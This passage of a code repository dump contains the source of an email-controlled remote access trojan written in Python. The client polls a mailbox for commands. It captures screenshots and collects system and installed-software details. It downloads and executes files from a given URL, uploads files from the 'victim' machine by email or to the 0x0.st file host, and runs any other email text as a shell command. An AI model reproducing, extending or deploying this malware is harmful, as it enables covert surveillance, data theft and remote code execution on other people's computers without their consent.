msgId.decode(encoding or "utf-8") 137 | # print(f"From: {From}") 138 | # print(msgId) 139 | print("!New Message Recieved") 140 | 141 | body = "" 142 | if msg.is_multipart(): 143 | for part in msg.walk(): 144 | content_type = part.get_content_type() 145 | if content_type == "text/plain": 146 | body = part.get_payload(decode=True).decode() 147 | print(body) 148 | new_body = ''.join(body.splitlines()) 149 | break 150 | else: 151 | content_type = msg.get_content_type() 152 | if content_type == "text/plain": 153 | body = msg.get_payload(decode=True).decode() 154 | new_body = ''.join(body.splitlines()) 155 | 156 | print(f"Body: {[new_body]}") 157 | self.handle_command(new_body) 158 | 159 | 160 | def handle_command(self, command): 161 | #command for System Info 162 | if ":systeminfo" in command: 163 | data = systeminfo() 164 | data.run( 165 | msgId=self.msgId, 166 | EmailHandler=self.email_handler 167 | ) 168 | return None 169 | 170 | elif command.startswith(":help"): 171 | help = Helper() 172 | help.run( 173 | EmailHandler=self.email_handler, 174 | msgId=self.msgId 175 | ) 176 | return None 177 | 178 | #Screenshot Executing command 179 | elif command.startswith(":screenshot"): 180 | data = screenshot() 181 | data.run( 182 | emailHandler=self.email_handler 183 | ) 184 | return None 185 | #Command For Executing urldownloads 186 | elif command.startswith(":urldown"): 187 | 188 | args = command.replace('\n', ' ').split(',') 189 | try: 190 | url = args[1] 191 | filename = args[2] 192 | toRun = args[3].lower() 193 | if toRun.startswith("false"): 194 | toRun = False 195 | else: 196 | toRun = True 197 | except IndexError: 198 | self.email_handler.send_email("Please send mail in correct Format or type help if you want to know") 199 | return None 200 | except Exception as e: 201 | self.email_handler.send_email(f"Unable to Do operation Error: {e} ") 202 | return None 203 | if not url.startswith("http"): 204 | self.email_handler.send_email("Please send mail in correct Format and with a valid Url Regards") 205 | return None 206 | down = urlDownload() 207 | down.run( 208 | url=url, 209 | filename=filename, 210 | EmailHandler=self.email_handler, 211 | msgId=self.msgId, 212 | run=toRun 213 | ) 214 | return None 215 | 216 | #Command to upload file into the mail 217 | elif command.startswith(":upload"): 218 | 219 | args = command.replace('\n', ' ').split(',') 220 | try: 221 | filepath = args[1] 222 | 223 | except IndexError: 224 | self.email_handler.send_email("Please send args in correct format") 225 | return None 226 | except Exception as e: 227 | self.email_handler.send_email(f"Unable to Do operation Error: {e} ") 228 | return None 229 | down = UrlUploader() 230 | down.run( 231 | filepath=filepath, 232 | EmailHandler=self.email_handler, 233 | msgId=self.msgId, 234 | ) 235 | return None 236 | 237 | #command to exit the program 238 | elif 'exit' in command: 239 | print('Exited successfully') 240 | self.email_handler.send_email('Exiting, please wait') 241 | exit() 242 | 243 | #Command to sleep the program 244 | elif 'sleep' in command: 245 | sleep_time = int(command.replace('sleep', '').strip()) 246 | print(f'Sleeping for {sleep_time} seconds') 247 | time.sleep(sleep_time) 248 | 249 | #Command every other command goes here as shell command 250 | self.execute_command(command) 251 | 252 | 253 | class RATClient: 254 | def __init__(self, username, password, your_mail): 255 | self.email_handler = EmailHandler(username, password, your_mail) 256 | self.command_handler = CommandHandler(self.email_handler) 257 | 258 | def start(self): 259 | welcom_msg = create_html_content(basic_systeminfo()) 260 | self.email_handler.send_email(welcom_msg) 261 | while True: 262 | time.sleep(10) 263 | self.email_handler.login_imap() 264 | emails = self.email_handler.fetch_emails() 265 | self.command_handler.process_email_commands(emails) 266 | self.email_handler.logout_imap() 267 | 268 | 269 | if __name__ == "__main__": 270 | USERNAME = "#USERNAME" 271 | PASSWORD = "#PASSWORD" 272 | YOUR_MAIL = "#YOUR MAIL TO RECIEVE EMAILS" 273 | 274 | client = RATClient(USERNAME, PASSWORD, YOUR_MAIL) 275 | client.start() 276 | -------------------------------------------------------------------------------- /mods/helper.py: -------------------------------------------------------------------------------- 1 | import importlib 2 | 3 | 4 | from mods.screenshot import screenshot 5 | from mods.systeminfo import systeminfo 6 | from mods.urlDownload import urlDownload 7 | from mods.urlUploader import UrlUploader 8 | 9 | 10 | 11 | class Helper: 12 | def __init__(self): 13 | self.info = "" 14 | 15 | def helpfunctions(self): 16 | self.info = """ 17 | 18 | 19 | 27 | 28 | 29 |

Information about Modules

30 | 31 |
32 |

help - Lends you a helping Hand

33 |

Commands- :help

34 |
35 | """ 36 | 37 | listOfClasses = [screenshot, systeminfo, urlDownload, UrlUploader] 38 | for classes in listOfClasses: 39 | Class = classes() 40 | self.info += f""" 41 |
42 |

{Class.name} - {Class.info}

43 |

Commands - {Class.command}

44 |

Args:

45 |
    46 | """ 47 | if Class.args == []: 48 | self.info += "
  • No Arguments
  • \n" 49 | else: 50 | for arg in Class.args: 51 | self.info += f"
  • {arg}
  • \n" 52 | 53 | self.info += """ 54 |
55 |
56 | """ 57 | 58 | self.info += """ 59 |

FOR TRIAL PURPOSE SEND TEXT :help

60 | 61 | 62 | """ 63 | return self.info 64 | 65 | def run(self,EmailHandler,msgId): 66 | EmailHandler.send_email( 67 | message = self.helpfunctions(), 68 | msgId=msgId, 69 | reply=True 70 | ) 71 | 72 | if __name__ == "__main__": 73 | help = Helper() 74 | print(help.helpfunctions()) 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | -------------------------------------------------------------------------------- /mods/linux/avscan.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siddhant385/pyhackthon/76d2713a8b96dfe0c8487ed22efab4ddc2312ddb/mods/linux/avscan.py -------------------------------------------------------------------------------- /mods/linux/wifi.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siddhant385/pyhackthon/76d2713a8b96dfe0c8487ed22efab4ddc2312ddb/mods/linux/wifi.py -------------------------------------------------------------------------------- /mods/screenshot.py: -------------------------------------------------------------------------------- 1 | import mss 2 | import datetime 3 | import io 4 | from mss.tools import to_png 5 | 6 | class screenshot: 7 | def __init__(self): 8 | self.info = "📸 Snaps a pic of the screen and sends it over like 💨" 9 | self.name = "screenshot" 10 | self.args = [] 11 | self.isCrossPlatfrom = True 12 | self.command = ":screenshot" 13 | 14 | def run(self,emailHandler): 15 | with mss.mss() as sct: 16 | screenshot = sct.grab(sct.monitors[1]) 17 | img_bytes = io.BytesIO() 18 | img_bytes.write(to_png(screenshot.rgb, screenshot.size)) 19 | img_bytes.seek(0) 20 | bytes = img_bytes.getvalue() 21 | emailHandler.send_file( 22 | file = bytes, 23 | filename = f"{datetime.now().strftime("%H:%M:%S")}.png", 24 | msgId=self.msgId, 25 | message="Screenshot is given below" 26 | ) 27 | return None 28 | 29 | 30 | -------------------------------------------------------------------------------- /mods/systeminfo.py: -------------------------------------------------------------------------------- 1 | import psutil 2 | import platform 3 | import socket 4 | import uuid 5 | import cpuinfo 6 | import subprocess 7 | 8 | class systeminfo: 9 | def __init__(self): 10 | self.name = "systeminfo" 11 | self.info = "Gives Basic System Information of File" 12 | self.args = [] 13 | self.command = ":systeminfo" 14 | 15 | def get_size(self,bytes, suffix="B"): 16 | factor = 1024 17 | for unit in ["", "K", "M", "G", "T", "P"]: 18 | if bytes < factor: 19 | return f"{bytes:.2f}{unit}{suffix}" 20 | bytes /= factor 21 | 22 | def get_installed_software(self): 23 | installed_software = [] 24 | system = platform.system() 25 | 26 | if system == "Windows": 27 | try: 28 | import winreg 29 | def get_software_from_registry(hive, flag): 30 | registry = winreg.ConnectRegistry(None, hive) 31 | uninstall_key = winreg.OpenKey(registry, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall", 0, winreg.KEY_READ | flag) 32 | count = winreg.QueryInfoKey(uninstall_key)[0] 33 | software_list = [] 34 | for i in range(count): 35 | try: 36 | key_name = winreg.EnumKey(uninstall_key, i) 37 | software_key = winreg.OpenKey(uninstall_key, key_name) 38 | display_name = winreg.QueryValueEx(software_key, "DisplayName")[0] 39 | software_list.append(display_name) 40 | except WindowsError: 41 | continue 42 | return software_list 43 | 44 | installed_software = get_software_from_registry(winreg.HKEY_LOCAL_MACHINE, winreg.KEY_WOW64_32KEY) 45 | installed_software += get_software_from_registry(winreg.HKEY_LOCAL_MACHINE, winreg.KEY_WOW64_64KEY) 46 | installed_software += get_software_from_registry(winreg.HKEY_CURRENT_USER, 0) 47 | except ImportError: 48 | installed_software.append("Unable to retrieve software list on Windows.") 49 | 50 | elif system == "Darwin": # macOS 51 | try: 52 | output = subprocess.check_output(["system_profiler", "SPApplicationsDataType", "-detailLevel", "mini"]).decode("utf-8") 53 | for line in output.split('\n'): 54 | if ':' in line: 55 | app = line.split(':')[1].strip() 56 | if app: 57 | installed_software.append(app) 58 | except subprocess.CalledProcessError: 59 | installed_software.append("Unable to retrieve software list on macOS.") 60 | 61 | elif system == "Linux": 62 | try: 63 | if subprocess.call(["which", "dpkg"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) == 0: 64 | output = subprocess.check_output(["dpkg", "--get-selections"]).decode("utf-8") 65 | installed_software = [line.split()[0] for line in output.split('\n') if line and not line.endswith("deinstall")] 66 | elif subprocess.call(["which", "rpm"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) == 0: 67 | output = subprocess.check_output(["rpm", "-qa"]).decode("utf-8") 68 | installed_software = output.split('\n') 69 | elif subprocess.call(["which", "pacman"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) == 0: 70 | output = subprocess.check_output(["pacman", "-Qq"]).decode("utf-8") 71 | installed_software = output.split('\n') 72 | else: 73 | installed_software.append("Unable to retrieve software list on this Linux distribution.") 74 | except subprocess.CalledProcessError: 75 | installed_software.append("Unable to retrieve software list on Linux.") 76 | 77 | else: 78 | installed_software.append(f"Software list retrieval not supported on {system}") 79 | 80 | return installed_software 81 | 82 | 83 | def get_system_info(self): 84 | info = [] 85 | info.append("="*40 + " System Information " + "="*40) 86 | uname = platform.uname() 87 | info.append(f"System: {uname.system}") 88 | info.append(f"Node Name: {uname.node}") 89 | info.append(f"Release: {uname.release}") 90 | info.append(f"Version: {uname.version}") 91 | info.append(f"Machine: {uname.machine}") 92 | info.append(f"Processor: {uname.processor}") 93 | 94 | info.append("\n" + "="*40 + " CPU Info " + "="*40) 95 | info.append(f"Physical cores: {psutil.cpu_count(logical=False)}") 96 | info.append(f"Total cores: {psutil.cpu_count(logical=True)}") 97 | cpu_freq = psutil.cpu_freq() 98 | info.append(f"Max Frequency: {cpu_freq.max:.2f}Mhz") 99 | info.append(f"Min Frequency: {cpu_freq.min:.2f}Mhz") 100 | info.append(f"Current Frequency: {cpu_freq.current:.2f}Mhz") 101 | info.append("CPU Usage Per Core:") 102 | for i, percentage in enumerate(psutil.cpu_percent(percpu=True, interval=1)): 103 | info.append(f"Core {i}: {percentage}%") 104 | info.append(f"Total CPU Usage: {psutil.cpu_percent()}%") 105 | 106 | info.append("\n" + "="*40 + " Memory Information " + "="*40) 107 | svmem = psutil.virtual_memory() 108 | info.append(f"Total: {self.get_size(svmem.total)}") 109 | info.append(f"Available: {self.get_size(svmem.available)}") 110 | info.append(f"Used: {self.get_size(svmem.used)}") 111 | info.append(f"Percentage: {svmem.percent}%") 112 | 113 | info.append("\n" + "="*40 + " Disk Information " + "="*40) 114 | partitions = psutil.disk_partitions() 115 | for partition in partitions: 116 | info.append(f"=== Device: {partition.device} ===") 117 | info.append(f" Mountpoint: {partition.mountpoint}") 118 | info.append(f" File system type: {partition.fstype}") 119 | try: 120 | partition_usage = psutil.disk_usage(partition.mountpoint) 121 | except PermissionError: 122 | continue 123 | info.append(f" Total Size: {self.get_size(partition_usage.total)}") 124 | info.append(f" Used: {self.get_size(partition_usage.used)}") 125 | info.append(f" Free: {self.get_size(partition_usage.free)}") 126 | info.append(f" Percentage: {partition_usage.percent}%") 127 | 128 | info.append("\n" + "="*40 + " Network Information " + "="*40) 129 | if_addrs = psutil.net_if_addrs() 130 | for interface_name, interface_addresses in if_addrs.items(): 131 | for address in interface_addresses: 132 | info.append(f"=== Interface: {interface_name} ===") 133 | if str(address.family) == 'AddressFamily.AF_INET': 134 | info.append(f" IP Address: {address.address}") 135 | info.append(f" Netmask: {address.netmask}") 136 | info.append(f" Broadcast IP: {address.broadcast}") 137 | elif str(address.family) == 'AddressFamily.AF_PACKET': 138 | info.append(f" MAC Address: {address.address}") 139 | info.append(f" Netmask: {address.netmask}") 140 | info.append(f" Broadcast MAC: {address.broadcast}") 141 | 142 | info.append("\n" + "="*40 + " Additional System Information " + "="*40) 143 | info.append(f"Hostname: {socket.gethostname()}") 144 | info.append(f"IP Address: {socket.gethostbyname(socket.gethostname())}") 145 | info.append(f"Mac Address: {':'.join(('%012x' % uuid.getnode())[i:i+2] for i in range(0, 12, 2))}") 146 | info.append(f"Processor: {cpuinfo.get_cpu_info()['brand_raw']}") 147 | 148 | info.append("\n" + "="*40 + " Installed Software " + "="*40) 149 | installed_software = self.get_installed_software() 150 | info.append(f"Total software installed: {len(installed_software)}") 151 | info.append("Top 20 installed software:") 152 | for software in sorted(installed_software)[:20]: 153 | info.append(f" {software}") 154 | 155 | 156 | return "\n".join(info) 157 | 158 | def run(self,msgId,EmailHandler): 159 | info = self.get_system_info() 160 | EmailHandler.send_email( 161 | message = info, 162 | msgId=msgId, 163 | reply=True 164 | ) 165 | 166 | 167 | if __name__ == "__main__": 168 | sys = systeminfo() 169 | system_info = sys.get_system_info() 170 | print(system_info) # You can comment this out if you don't want to print 171 | 172 | # Example of how you might use this to send an email 173 | # (You'd need to set up the email sending functionality) 174 | # send_email("recipient@example.com", "System Information", system_info) -------------------------------------------------------------------------------- /mods/urlDownload.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import tempfile 3 | import os.path 4 | import os 5 | import subprocess 6 | import platform 7 | 8 | 9 | class urlDownload: 10 | def __init__(self): 11 | self.name = "urlDownload" 12 | self.info = "Downloads a file from Given Url and Executes It(Not plain text file only bytes)" 13 | self.args = ["Url: Url To Download","Name: Name to Save the file","Bool: True of False to run after execution"] 14 | self.command = ":urldown,[Url],[Name],[Bool]" 15 | 16 | def open_file(self,filename): 17 | if platform.system() == "Windows": 18 | os.startfile(filename) 19 | elif platform.system() == "Darwin": # macOS 20 | subprocess.run(["open", filename]) 21 | else: # Linux and other Unix-like 22 | subprocess.run(["xdg-open", filename]) 23 | 24 | 25 | def getPath(self,name): 26 | temp_dir = tempfile.gettempdir() 27 | return os.path.join(temp_dir,name) 28 | 29 | def download_file(self,Url,filename,run=False): 30 | filename =self.getPath(filename) 31 | try: 32 | res = requests.get(Url,stream=True) 33 | res.raise_for_status() 34 | 35 | with open(filename, 'wb') as file: 36 | for chunk in res.iter_content(chunk_size=8192): 37 | file.write(chunk) 38 | 39 | print(f"Downloaded: {filename}") 40 | if run: 41 | self.open_file(filename) 42 | return True 43 | except requests.RequestException as e: 44 | reason = f"Failed to download {filename} from {Url}. Error: {e}" 45 | print(reason) 46 | except IOError as e: 47 | reason =f"Failed to write file {filename}. Error: {e}" 48 | print(reason) 49 | except Exception as e: 50 | reason = f"An unexpected error occurred while downloading {filename}: {e}" 51 | print(reason) 52 | 53 | def run(self,url,filename,run,EmailHandler,msgId): 54 | resp = self.download_file( 55 | Url=url, 56 | filename=filename, 57 | run=run 58 | ) 59 | msg = resp 60 | if resp and run: 61 | msg = "File Downloaded and executed Congrats" 62 | elif resp and not run: 63 | msg = "File Downloaded Congrats" 64 | EmailHandler.send_email( 65 | message = msg, 66 | msgId=msgId, 67 | reply=True 68 | ) 69 | 70 | 71 | -------------------------------------------------------------------------------- /mods/urlUploader.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os.path 3 | import os 4 | 5 | 6 | 7 | class UrlUploader: 8 | def __init__(self): 9 | self.name = "UrlUploader" 10 | self.info = "Uploads a file from Given Path to Gmail or an Api (if file greater than 25MB)" 11 | self.args = ["Path: Path from victim to download file"] 12 | self.command = ":upload,[Path]" 13 | 14 | 15 | def isbinary(self,filepath): 16 | try: 17 | f = open(filepath,"r") 18 | print(f.read()) 19 | f.close() 20 | return False 21 | except Exception as e: 22 | return True 23 | 24 | def moreThan25Mb(self,filepath): 25 | file_size = os.path.getsize(filepath) 26 | size = file_size / (1024 * 1024) 27 | if size >= 25: 28 | return True 29 | else: 30 | return False 31 | 32 | 33 | def upload_file_api(self,filepath): 34 | if self.isbinary(filepath): 35 | files = { 36 | 'file': open(filepath, 'rb'), 37 | } 38 | else: 39 | files = { 40 | 'file': open(filepath, 'rb'), 41 | } 42 | response = requests.post('https://0x0.st', files=files) 43 | if response.status_code == 200: 44 | url = response.text.split("\n")[0] 45 | return url 46 | else: 47 | return "Unable to upload file" 48 | 49 | 50 | def run(self,filepath,EmailHandler,msgId): 51 | filename = os.path.basename(filepath) 52 | if self.moreThan25Mb(filepath): 53 | 54 | url = self.upload_file_api(filepath) 55 | EmailHandler.send_email( 56 | message = f"File is more than 25Mb so using api instead of attachement\nUrl is: {url}", 57 | msgId=msgId, 58 | reply=True 59 | ) 60 | f = open(filepath,"rb") 61 | data = f.read() 62 | EmailHandler.send_file( 63 | file = data, 64 | filename = filename, 65 | msgId=msgId, 66 | message="File is Given Below" 67 | ) 68 | 69 | 70 | 71 | # if __name__ == "__main__": 72 | # u = UrlUpload() 73 | # u.upload_file_api("/home/sid/Desktop/myProjects/pyhackthon/GIFS/REVERSESHELL.gif") 74 | # # / -------------------------------------------------------------------------------- /mods/windows/avscan.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siddhant385/pyhackthon/76d2713a8b96dfe0c8487ed22efab4ddc2312ddb/mods/windows/avscan.py -------------------------------------------------------------------------------- /mods/windows/webcam.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siddhant385/pyhackthon/76d2713a8b96dfe0c8487ed22efab4ddc2312ddb/mods/windows/webcam.py -------------------------------------------------------------------------------- /mods/windows/wifi.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siddhant385/pyhackthon/76d2713a8b96dfe0c8487ed22efab4ddc2312ddb/mods/windows/wifi.py -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | mss 3 | psutil 4 | py-cpuinfo --------------------------------------------------------------------------------